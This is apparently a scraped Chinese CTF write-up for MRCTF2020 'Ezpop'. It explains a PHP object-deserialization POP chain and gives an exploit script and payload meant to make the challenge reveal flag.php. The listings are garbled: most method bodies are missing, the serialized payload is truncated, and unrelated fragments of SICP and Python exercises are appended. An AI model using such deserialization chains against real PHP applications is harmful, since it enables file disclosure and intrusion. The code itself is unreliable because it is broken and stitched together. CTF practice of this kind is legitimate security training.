審計練習17 MRCTF2020 Ezpop

2021-10-07 07:04:11 字數 2189 閱讀 3803

平台:buuoj.cn

開啟靶機得原始碼

<?php 

//flag is in flag.php

//wtf is this?

//learn from

//and crack it!

class

modifier

public

function

__invoke()

}class

show

public

function

__tostring()

public

function

__wakeup()

}}class

test

public

function

__get

($key)}

if(isset

($_get

['pop'])

)else

共涉及以下魔術方法

__construct

() 當乙個物件建立時被呼叫

__tostring

() 當乙個物件被當作乙個字串使用

__wakeup

() 將在反序列化之後立即被呼叫(通過序列化物件元素個數不符來繞過)

__get

() 獲得乙個類的成員變數時呼叫

__invoke

() 呼叫函式的方式呼叫乙個物件時的回應方法

定義了三個類

modifier:

class

modifier

public

function

__invoke()

}

宣告保護字段型別$var
class

show

public

function

__tostring()

public

function

__wakeup()

}}

建立物件時觸發__construct()方法,列印welcome to index.php,物件被當作字串使用時觸發__tostring(),序列化之後觸發__wakeup,過濾了幾個協議。

test:

class

test

public

function

__get

($key

)}

__construct()把p轉換成陣列,讀取不可訪問屬性的值時呼叫__get(),把p以函式的形式返回。

exp:

<?php 

class

modifier

class

test

class

show}$a

=new

show()

;//此時source(show)->str$a-

>

source

=new

show()

;//source(show)->str之後觸發__tostring然後訪問source(test)觸發__get$a-

>

source

->

str-

>p=

newmodifier()

;//__get返回的p觸發__invoke

echo

serialize($a

);?>

//o:4:"show":2:}}s:3:"str";o:4:"test":1:}

由於var是protected型別,所以payload中需要用%00把它的位數補齊,或者直接最後url編碼輸出

最後傳入pop得到base64編碼,解碼即得flag

SICP練習 17 練習1 23

練習1.23 首先我們按照題目要求來寫出相應的next函式,然後再修改find divisor函式。define next x if x 2 3 n 2 define find divisor ntest divisor cond square test divisor n n divides?te...

SICP練習 17 練習1 23

練習1.23 首先我們按照題目要求來寫出相應的next函式,然後再修改find divisor函式。define next x if x 2 3 n 2 define find divisor ntest divisor cond square test divisor n n divides?te...

Python 練習例項17

題目17 輸入一行字元,分別統計出其中英文本母 空格 數字和其它字元的個數。雖然我現在的 書寫還不是很規範,比如不愛注釋,變數名也隨意,但是我相信,我會越來越好,越來越規範的。strlist input put in everything u want 輸入字元 strdict for m in s...